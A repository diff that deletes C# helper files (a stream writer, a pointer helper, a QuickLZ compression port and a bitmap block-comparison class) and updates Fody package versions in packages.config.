WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteByte(byte value)
|
||||
{
|
||||
vStream.WriteByte(value);
|
||||
}
|
||||
|
||||
public void WriteBool(bool value)
|
||||
{
|
||||
WriteByte(value ? (byte)1 : (byte)0);
|
||||
}
|
||||
|
||||
public void WriteDouble(double value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteLong(long value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteFloat(float value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteDecimal(decimal value)
|
||||
{
|
||||
BinaryWriter writer = new BinaryWriter(vStream);
|
||||
writer.Write(value);
|
||||
}
|
||||
|
||||
public void WriteString(string value)
|
||||
{
|
||||
if (!(value == null))
|
||||
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
|
||||
else
|
||||
throw new NullReferenceException("value");
|
||||
vStream.WriteByte(0);
|
||||
vStream.WriteByte(0);
|
||||
}
|
||||
|
||||
public int Length
|
||||
{
|
||||
get { return (int)vStream.Length; }
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
vStream.Close();
|
||||
vStream.Dispose();
|
||||
vStream = null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,58 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>
|
||||
/// A helper class for pointers
|
||||
/// </summary>
|
||||
public class PointerHelper
|
||||
{
|
||||
private int _offset;
|
||||
|
||||
public IntPtr Pointer
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public int TotalLength { get; private set; }
|
||||
|
||||
public int Offset
|
||||
{
|
||||
get { return _offset; }
|
||||
set
|
||||
{
|
||||
if (value < 0)
|
||||
throw new Exception("Offset must be >= 1");
|
||||
|
||||
if (value >= TotalLength)
|
||||
throw new Exception("Offset cannot go outside of the reserved buffer space");
|
||||
|
||||
_offset = value;
|
||||
}
|
||||
}
|
||||
|
||||
public PointerHelper(IntPtr pointer, int Length)
|
||||
{
|
||||
this.TotalLength = Length;
|
||||
this.Pointer = pointer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies data from Source to the current Pointer Offset
|
||||
/// </summary>
|
||||
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
|
||||
{
|
||||
if (CheckBoundries(this.Offset, SourceLength))
|
||||
throw new AccessViolationException("Cannot write outside of the buffer space");
|
||||
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
|
||||
}
|
||||
|
||||
private bool CheckBoundries(int offset, int length)
|
||||
{
|
||||
return offset + length > TotalLength;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,487 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
// QuickLZ data compression library
|
||||
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
|
||||
// lar@quicklz.com
|
||||
//
|
||||
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
|
||||
// released into public must be open source) or under a commercial license if such
|
||||
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
|
||||
// does not cover derived or ported versions created by third parties under GPL.
|
||||
//
|
||||
// Only a subset of the C library has been ported, namely level 1 and 3 not in
|
||||
// streaming mode.
|
||||
//
|
||||
// Version: 1.5.0 final
|
||||
|
||||
public class SafeQuickLZ
|
||||
{
|
||||
public const int QLZ_VERSION_MAJOR = 1;
|
||||
public const int QLZ_VERSION_MINOR = 5;
|
||||
public const int QLZ_VERSION_REVISION = 0;
|
||||
|
||||
// Streaming mode not supported
|
||||
public const int QLZ_STREAMING_BUFFER = 0;
|
||||
|
||||
// Bounds checking not supported Use try...catch instead
|
||||
public const int QLZ_MEMORY_SAFE = 0;
|
||||
|
||||
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
|
||||
private const int HASH_VALUES = 4096;
|
||||
private const int MINOFFSET = 2;
|
||||
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||
private const int UNCOMPRESSED_END = 4;
|
||||
private const int CWORD_LEN = 4;
|
||||
private const int DEFAULT_HEADERLEN = 9;
|
||||
private const int QLZ_POINTERS_1 = 1;
|
||||
private const int QLZ_POINTERS_3 = 16;
|
||||
|
||||
private int headerLen(byte[] source, int offset)
|
||||
{
|
||||
return ((source[offset] & 2) == 2) ? 9 : 3;
|
||||
}
|
||||
|
||||
public int sizeDecompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
|
||||
else
|
||||
return source[offset + 2];
|
||||
}
|
||||
|
||||
public int sizeCompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
|
||||
else
|
||||
return source[offset + 1];
|
||||
}
|
||||
|
||||
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||
{
|
||||
dst[0] = (byte)(2 | (compressible ? 1 : 0));
|
||||
dst[0] |= (byte)(level << 2);
|
||||
dst[0] |= (1 << 6);
|
||||
dst[0] |= (0 << 4);
|
||||
fast_write(dst, 1, size_decompressed, 4);
|
||||
fast_write(dst, 5, size_compressed, 4);
|
||||
}
|
||||
|
||||
public byte[] compress(byte[] source, int Offset, int Length, int level)
|
||||
{
|
||||
int src = Offset;
|
||||
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
|
||||
uint cword_val = 0x80000000;
|
||||
int cword_ptr = DEFAULT_HEADERLEN;
|
||||
byte[] destination = new byte[Length + 400];
|
||||
int[,] hashtable;
|
||||
int[] cachetable = new int[HASH_VALUES];
|
||||
byte[] hash_counter = new byte[HASH_VALUES];
|
||||
byte[] d2;
|
||||
int fetch = 0;
|
||||
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
|
||||
int lits = 0;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if (level == 1)
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
|
||||
else
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
|
||||
|
||||
if (Length == 0)
|
||||
return new byte[0];
|
||||
|
||||
if (src <= last_matchstart)
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
while (src <= last_matchstart)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
if (src > Length >> 1 && dst > src - (src >> 5))
|
||||
{
|
||||
d2 = new byte[Length + DEFAULT_HEADERLEN];
|
||||
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
|
||||
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
|
||||
return d2;
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
int o = hashtable[hash, 0];
|
||||
int cache = cachetable[hash] ^ fetch;
|
||||
cachetable[hash] = fetch;
|
||||
hashtable[hash, 0] = src;
|
||||
|
||||
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
|
||||
source[src] == source[src - 2] && source[src] == source[src - 1] &&
|
||||
source[src] == source[src + 1] && source[src] == source[src + 2])))
|
||||
{
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
if (source[o + 3] != source[src + 3])
|
||||
{
|
||||
int f = 3 - 2 | (hash << 4);
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
src += 3;
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
int old_src = src;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
|
||||
src += 4;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
|
||||
src++;
|
||||
}
|
||||
}
|
||||
|
||||
int matchlen = src - old_src;
|
||||
|
||||
hash <<= 4;
|
||||
if (matchlen < 18)
|
||||
{
|
||||
int f = (hash | (matchlen - 2));
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, hash | (matchlen << 16), 3);
|
||||
dst += 3;
|
||||
}
|
||||
}
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
lits++;
|
||||
hash_counter[hash] = 1;
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
int o, offset2;
|
||||
int matchlen, k, m, best_k = 0;
|
||||
byte c;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
|
||||
c = hash_counter[hash];
|
||||
matchlen = 0;
|
||||
offset2 = 0;
|
||||
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
|
||||
{
|
||||
o = hashtable[hash, k];
|
||||
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
|
||||
{
|
||||
m = 3;
|
||||
while (source[o + m] == source[src + m] && m < remaining)
|
||||
m++;
|
||||
if ((m > matchlen) || (m == matchlen && o > offset2))
|
||||
{
|
||||
offset2 = o;
|
||||
matchlen = m;
|
||||
best_k = k;
|
||||
}
|
||||
}
|
||||
}
|
||||
o = offset2;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
|
||||
c++;
|
||||
hash_counter[hash] = c;
|
||||
|
||||
if (matchlen >= 3 && src - o < 131071)
|
||||
{
|
||||
int offset = src - o;
|
||||
|
||||
for (int u = 1; u < matchlen; u++)
|
||||
{
|
||||
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
|
||||
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
c = hash_counter[hash]++;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
|
||||
}
|
||||
|
||||
src += matchlen;
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
|
||||
if (matchlen == 3 && offset <= 63)
|
||||
{
|
||||
fast_write(destination, dst, offset << 2, 1);
|
||||
dst++;
|
||||
}
|
||||
else if (matchlen == 3 && offset <= 16383)
|
||||
{
|
||||
fast_write(destination, dst, (offset << 2) | 1, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 18 && offset <= 1023)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 33)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
|
||||
dst += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
|
||||
dst += 4;
|
||||
}
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
}
|
||||
}
|
||||
}
|
||||
while (src <= Length - 1)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
src++;
|
||||
dst++;
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
while ((cword_val & 1) != 1)
|
||||
{
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
|
||||
write_header(destination, level, true, Length, dst);
|
||||
d2 = new byte[dst];
|
||||
System.Array.Copy(destination, d2, dst);
|
||||
return d2;
|
||||
}
|
||||
|
||||
|
||||
private void fast_write(byte[] a, int i, int value, int numbytes)
|
||||
{
|
||||
for (int j = 0; j < numbytes; j++)
|
||||
a[i + j] = (byte)(value >> (j * 8));
|
||||
}
|
||||
|
||||
public byte[] decompress(byte[] source, int Offset, int Length)
|
||||
{
|
||||
int level;
|
||||
int size = sizeDecompressed(source, Offset);
|
||||
int src = headerLen(source, Offset) + Offset;
|
||||
int dst = 0;
|
||||
uint cword_val = 1;
|
||||
byte[] destination = new byte[size];
|
||||
int[] hashtable = new int[4096];
|
||||
byte[] hash_counter = new byte[4096];
|
||||
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
|
||||
int last_hashed = -1;
|
||||
int hash;
|
||||
uint fetch = 0;
|
||||
|
||||
level = (source[Offset] >> 2) & 0x3;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if ((source[Offset] & 1) != 1)
|
||||
{
|
||||
byte[] d2 = new byte[size];
|
||||
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
|
||||
return d2;
|
||||
}
|
||||
|
||||
for (; ; )
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
src += 4;
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
if (level == 1)
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
else
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
}
|
||||
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
uint matchlen;
|
||||
uint offset2;
|
||||
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
hash = ((int)fetch >> 4) & 0xfff;
|
||||
offset2 = (uint)hashtable[hash];
|
||||
|
||||
if ((fetch & 0xf) != 0)
|
||||
{
|
||||
matchlen = (fetch & 0xf) + 2;
|
||||
src += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
matchlen = source[src + 2];
|
||||
src += 3;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint offset;
|
||||
if ((fetch & 3) == 0)
|
||||
{
|
||||
offset = (fetch & 0xff) >> 2;
|
||||
matchlen = 3;
|
||||
src++;
|
||||
}
|
||||
else if ((fetch & 2) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 2;
|
||||
matchlen = 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 1) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 6;
|
||||
matchlen = ((fetch >> 2) & 15) + 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 127) != 3)
|
||||
{
|
||||
offset = (fetch >> 7) & 0x1ffff;
|
||||
matchlen = ((fetch >> 2) & 0x1f) + 2;
|
||||
src += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
offset = (fetch >> 15);
|
||||
matchlen = ((fetch >> 7) & 255) + 3;
|
||||
src += 4;
|
||||
}
|
||||
offset2 = (uint)(dst - offset);
|
||||
}
|
||||
|
||||
destination[dst + 0] = destination[offset2 + 0];
|
||||
destination[dst + 1] = destination[offset2 + 1];
|
||||
destination[dst + 2] = destination[offset2 + 2];
|
||||
|
||||
for (int i = 3; i < matchlen; i += 1)
|
||||
{
|
||||
destination[dst + i] = destination[offset2 + i];
|
||||
}
|
||||
|
||||
dst += (int)matchlen;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
|
||||
while (last_hashed < dst - matchlen)
|
||||
{
|
||||
last_hashed++;
|
||||
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
|
||||
}
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
last_hashed = dst - 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
dst += 1;
|
||||
src += 1;
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
while (last_hashed < dst - 3)
|
||||
{
|
||||
last_hashed++;
|
||||
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
|
||||
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
}
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
while (dst <= size - 1)
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
src += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
dst++;
|
||||
src++;
|
||||
cword_val = cword_val >> 1;
|
||||
}
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,177 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class SimpleBitmap
|
||||
{
|
||||
private object ProcessingLock = new object();
|
||||
|
||||
public SimpleBitmapInfo Info { get; internal set; }
|
||||
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
|
||||
public IntPtr Scan0 { get; internal set; }
|
||||
public int Scan0_int { get; internal set; }
|
||||
public BitmapData bitmapData { get; internal set; }
|
||||
public Bitmap bitMap { get; set; }
|
||||
|
||||
public class SimpleBitmapInfo
|
||||
{
|
||||
public SimpleBitmapInfo()
|
||||
{
|
||||
Clear();
|
||||
}
|
||||
public SimpleBitmapInfo(BitmapData data)
|
||||
{
|
||||
Load(data);
|
||||
}
|
||||
public int Stride { get; protected set; }
|
||||
public int PixelSize { get; protected set; }
|
||||
public int Width { get; protected set; }
|
||||
public int Height { get; protected set; }
|
||||
|
||||
public int TotalSize { get; protected set; }
|
||||
|
||||
internal void Clear()
|
||||
{
|
||||
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
|
||||
}
|
||||
internal void Load(BitmapData data)
|
||||
{
|
||||
Width = data.Width; Height = data.Height; Stride = data.Stride;
|
||||
|
||||
PixelSize = Math.Abs(data.Stride) / data.Width;
|
||||
TotalSize = data.Width * data.Height * PixelSize;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * sharedInfo.PixelSize;
|
||||
|
||||
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
|
||||
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
|
||||
return false;
|
||||
calc += sharedInfo.Stride;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
|
||||
|
||||
calc = y * sharedInfo.Stride;
|
||||
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * Info.PixelSize;
|
||||
int CopyOffset = 0;
|
||||
int scan0 = Scan0.ToInt32();
|
||||
int destSize = WidthSize * block.Height;
|
||||
|
||||
if (dest == null || dest.Length != destSize)
|
||||
dest = new byte[destSize];
|
||||
|
||||
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
|
||||
|
||||
fixed (byte* ptr = dest)
|
||||
{
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
|
||||
calc += Info.Stride;
|
||||
CopyOffset += WidthSize;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public SimpleBitmap()
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
bitmapData = null;
|
||||
bitMap = null;
|
||||
|
||||
Info = new SimpleBitmapInfo();
|
||||
}
|
||||
public SimpleBitmap(Bitmap bmp)
|
||||
{
|
||||
this.bitMap = bmp;
|
||||
}
|
||||
|
||||
public void Lock()
|
||||
{
|
||||
if (Locked)
|
||||
throw new Exception("Already locked");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
|
||||
|
||||
Info = new SimpleBitmapInfo(bitmapData);
|
||||
|
||||
Scan0 = bitmapData.Scan0;
|
||||
Scan0_int = Scan0.ToInt32();
|
||||
}
|
||||
}
|
||||
public void Unlock()
|
||||
{
|
||||
if (!Locked)
|
||||
throw new Exception("Nothing to unlock");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
Scan0_int = 0;
|
||||
|
||||
Info.Clear();
|
||||
bitMap.UnlockBits(bitmapData);
|
||||
bitmapData = null;
|
||||
}
|
||||
}
|
||||
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
|
||||
{
|
||||
int CopySize = Info.PixelSize * loc.Width;
|
||||
int OffsetX = loc.X * Info.PixelSize;
|
||||
int TotalCopied = 0;
|
||||
|
||||
fixed (byte* ptr = block)
|
||||
{
|
||||
for (int i = 0; i < loc.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
|
||||
TotalCopied += CopySize;
|
||||
}
|
||||
}
|
||||
}
|
||||
public void Dispose(bool disposeBitmap = false)
|
||||
{
|
||||
if (Locked)
|
||||
Unlock();
|
||||
|
||||
if (disposeBitmap)
|
||||
bitMap.Dispose();
|
||||
|
||||
bitMap = null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="3.3.3" targetFramework="net40-client" />
|
||||
<package id="Fody" version="4.0.2" targetFramework="net40-client" developmentDependency="true" />
|
||||
<package id="Costura.Fody" version="4.0.0" targetFramework="net40-client" />
|
||||
<package id="Fody" version="5.0.5" targetFramework="net40-client" developmentDependency="true" />
|
||||
</packages>
|
Loading…
x
Reference in New Issue
Block a user